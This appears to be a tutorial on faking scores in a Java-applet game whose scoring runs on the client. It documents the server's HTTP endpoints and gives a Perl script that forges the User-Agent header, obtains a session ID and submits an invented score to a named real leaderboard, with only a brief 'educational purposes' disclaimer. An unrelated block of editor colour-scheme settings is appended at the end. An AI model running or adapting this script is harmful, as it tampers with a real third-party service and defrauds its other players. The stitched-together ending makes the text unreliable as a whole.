Introduction

The source code of the game can be obtained by decompiling the bytecode of the Java applet (gcjapplet.jar).  Given this, the basic strategy is to reverse engineer client-server communications and then falsify a score submission.  An examination of the source reveals that all answer-checking and score-keeping occurs on the client-side; most importantly, the server does not directly verify the score and performs only minimal input checks.  Interactions with the server accomplish two peripheral functions:

• GCJApplet.getTarget(): Retrieve some data during GCJApplet.init(), including a unique ID number assigned to the session
• GCJApplet.sendScore(): Submit the score if the player's winning streak equals or exceeds the minimum score on the leaderboard
  

POST /gett/gettarget.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java(tm) 2 SDK, Standard Edition v1.6.0_0 Java/1.6.0_0
Host: www.istics.net
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 15

group_id=world&


Note that forging the User-Agent header is necessary, since the server-side scripts do nothing unless the user agent is identified as Java.  The last line contains the message content: URL-encoded key-value pairs that form the query, which are passed as arguments to the script specified by the URI (in this case, /gett/gettarget.php).

Exploit Script

First, a few useful subroutines must be defined.
remote() opens a socket to the remote host (www.istics.net:80) and returns a reference to the IO object.  (Consult perlipc for more detailed information about Internet sockets.)

# Begin snippet
use IO::Socket::INET;
sub remote {
	my $sock = IO::Socket::INET->new(
		PeerAddr => 'www.istics.net',
		PeerPort => 'http(80)',
		Proto => 'tcp') || die("Cannot connect to host: $!");
	$sock->autoflush(1);
	return $sock;
}
# End snippet

request() constructs a POST request string given a script name and message content.  Note the use of the Internet line terminator, which consists of a carriage return and line feed.  An empty line must separate the headers and the content.

# Begin snippet
sub request {
	my $EOL = "\015\012";
	return join('',
		'POST /gett/', $_[0], ' HTTP/1.1', $EOL,
		'Host: www.istics.net', $EOL,
		'User-Agent: Java(tm) 2 SDK, Standard Edition v1.6.0_0 Java/1.6.0_0', $EOL,
		'Content-Type: application/x-www-form-urlencoded', $EOL,
		'Content-Length: ', length($_[1]), $EOL x 2, $_[1]
	);
}
# End snippet

Step 1: Get Target

/gett/gettarget.php requires one parameter: group_id.  It responds with a comma-separated list of four numerical values (e.g., 50, 10, 78, 676651):

• show_top: number of distinct scores shown on the leaderboard
• min_score: (purpose unknown, but does not matter)   
  
• target_score: threshold score to beat in order to secure a spot on the leaderboard
• number: unique ID assigned by the server at the beginning of the game
  

# Begin snippet
use strict;
use URI::Escape;

my ($group, $score, $name) = ('prod10', 1337, 'The Albert');  # Define submission info

my $sock = remote();
print $sock request('gettarget.php', "group_id=$group");
my $number;
while (<$sock>) {
	if ( m/^\s*\d+,\s*\d+,\s*\d+,\s*(\d+)/ ) {
		$number = $1;
		last;
	}
}
close($sock);
# End snippet

Step 2: Send Score

/gett/acceptscore.php requires four parameters: group_id, score, name, number.  It responds with an updated version of the acceptscore.php data, which can be discard by this point.

# Begin snippet
$sock = remote();
print $sock request('acceptscore.php', join('',
		'group_id=', $group,'&score=', $score, '&name=', uri_escape($name), '&number=', $number
	));
print while (<$sock>);
close($sock);
# End snippet

The code is distributed under the LGPL v3.
This information is made available for educational purposes and should not be taken as an invitation to trash the leaderboard.

[Default Item Styles - Schema Tango]
Alert=ff8b537f,ff8b537f,1,,,,fff0eaee,,---
Base-N Integer=ff000000,ffffffff,,,,,,,---
Character=ff5b3566,ff5b3566,,,,,,,---
Comment=ff1e4c87,ff1d4d87,,1,,,,,---
Data Type=ff529a04,ff549a03,1,,,,,,---
Decimal/Value=ff000000,ffffffff,,,,,,,---
Error=ffeeeeed,ffa40000,,,,,ffa40000,,---
Floating Point=ff000000,ffffffff,,,,,,,---
Function=ff72a0cf,ff72a0cf,0,,,,,,---
Keyword=ffa40000,ffa40000,1,,,,,,---
Normal=ff000000,ffffffff,,,,,,,---
Others=ff43662e,ff43662e,,,,,,,---
Region Marker=ff296fbe,ff296fbe,,,,,ffe8eef7,,---
String=ff8b537f,ff8b537f,,,,,,,---